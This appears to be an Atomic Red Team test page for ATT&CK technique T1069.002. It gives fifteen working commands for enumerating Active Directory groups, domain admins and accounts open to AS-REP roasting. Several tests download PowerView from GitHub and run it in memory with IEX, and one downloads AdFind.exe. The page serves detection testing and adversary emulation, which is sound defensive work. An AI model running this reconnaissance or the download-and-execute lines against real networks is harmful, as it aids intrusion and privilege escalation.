T1069.002 - Permission Groups Discovery: Domain Groups

Description from ATT&CK

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.

Atomic Tests


Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)

Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d

Attack Commands: Run with 
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command_prompt
!

net localgroup
net group /domain
net group "enterprise admins" /domain
net group "domain admins" /domain



Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | user | User to identify what groups a user is a member of | string | $env:USERNAME|

Attack Commands: Run with 
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powershell
!

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get-ADPrincipalGroupMembership #{user} | select name



Atomic Test #3 - Elevated group enumeration using net group (Domain)

Runs “net group” command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37

Attack Commands: Run with 
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command_prompt
!

net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
net group /domai "Domain Admins"



Atomic Test #4 - Find machines where user has local admin access (PowerView)

Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1

Attack Commands: Run with 
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powershell
!

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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose



Atomic Test #5 - Find local admins on all machines in domain (PowerView)

Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.

Supported Platforms: Windows

auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd

Attack Commands: Run with 
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powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose



Atomic Test #6 - Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Supported Platforms: Windows

auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | computer_name | hostname of the computer to analyze | path | $env:COMPUTERNAME|

Attack Commands: Run with 
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powershell
!

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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose



Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

Supported Platforms: Windows

auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b

Attack Commands: Run with 
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powershell
!

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get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}

Dependencies: Run with 
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powershell
!

Description: Computer must be domain joined.
Check Prereq Commands:
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:
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Write-Host Joining this computer to a domain must be done manually.
Description: Requires the Active Directory module for powershell to be installed.
Check Prereq Commands:
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if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Get Prereq Commands:
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Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"



Atomic Test #8 - Adfind - Query Active Directory Groups

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | optional_args | Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use “-arg” notation to add arguments separated by spaces. | string | |

Attack Commands: Run with 
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command_prompt
!

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args}

Dependencies: Run with 
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powershell
!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)
Check Prereq Commands:
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if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Get Prereq Commands:
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"



Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup

The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps

Supported Platforms: Windows

auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8

Attack Commands: Run with 
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powershell
!

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Get-AdGroup -Filter *



Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/

Supported Platforms: Windows

auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0

Attack Commands: Run with 
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powershell
!

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([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()



Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

Supported Platforms: Windows

auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8

Attack Commands: Run with 
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powershell
!

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Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

Dependencies: Run with 
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powershell
!

Description: Computer must be domain joined.
Check Prereq Commands:
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:
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Write-Host Joining this computer to a domain must be done manually.
Description: Requires the Active Directory module for powershell to be installed.
Check Prereq Commands:
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if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Get Prereq Commands:
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Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"



Atomic Test #12 - Get-DomainGroupMember with PowerView

Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145

Attack Commands: Run with 
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powershell
!

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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"



Atomic Test #13 - Get-DomainGroup with PowerView

Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.

Supported Platforms: Windows

auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230

Attack Commands: Run with 
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powershell
!

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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose



Atomic Test #14 - Active Directory Enumeration with LDIFDE

Output information from Active Directory to a specified file. Ldifde is a CLI tool for creating, modifying and deleting directory objects. The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF

Supported Platforms: Windows

auto_generated_guid: 22cf8cb9-adb1-4e8c-80ca-7c723dfc8784

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | output_path | Path to the file that ldifde will output | path | C:\Windows\temp| | output_file | The filename to be created by ldifde | string | atomic_ldifde.txt|

Attack Commands: Run with 
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command_prompt
! Elevation Required (e.g. root or admin)

ldifde.exe -f #{output_path}\#{output_file} -p subtree

Cleanup Commands:

del #{output_path}\#{output_file}

Dependencies: Run with 
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powershell
!

Description: PowerShell ActiveDirectory Module must be installed
Check Prereq Commands:
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Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
}
Catch {
    exit 1
}
Get Prereq Commands:
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if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}



Atomic Test #15 - Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Supported Platforms: Linux

auto_generated_guid: d58d749c-4450-4975-a9e9-8b1d562755c2

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | domain | The domain to be tested | string | example| | top_level_domain | The top level domain (.com, .test, .remote, etc… following domain, minus the .) | string | com| | user | username@domain of a user | string | user@example.com| | password | password of the user referenced inside user | string | s3CurePssw0rD!|

Attack Commands: Run with 
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sh
!

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ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn

Dependencies: Run with 
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sh
!

Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch
Check Prereq Commands:
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which ldapsearch
Get Prereq Commands:
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echo missing ldapsearch command; exit 1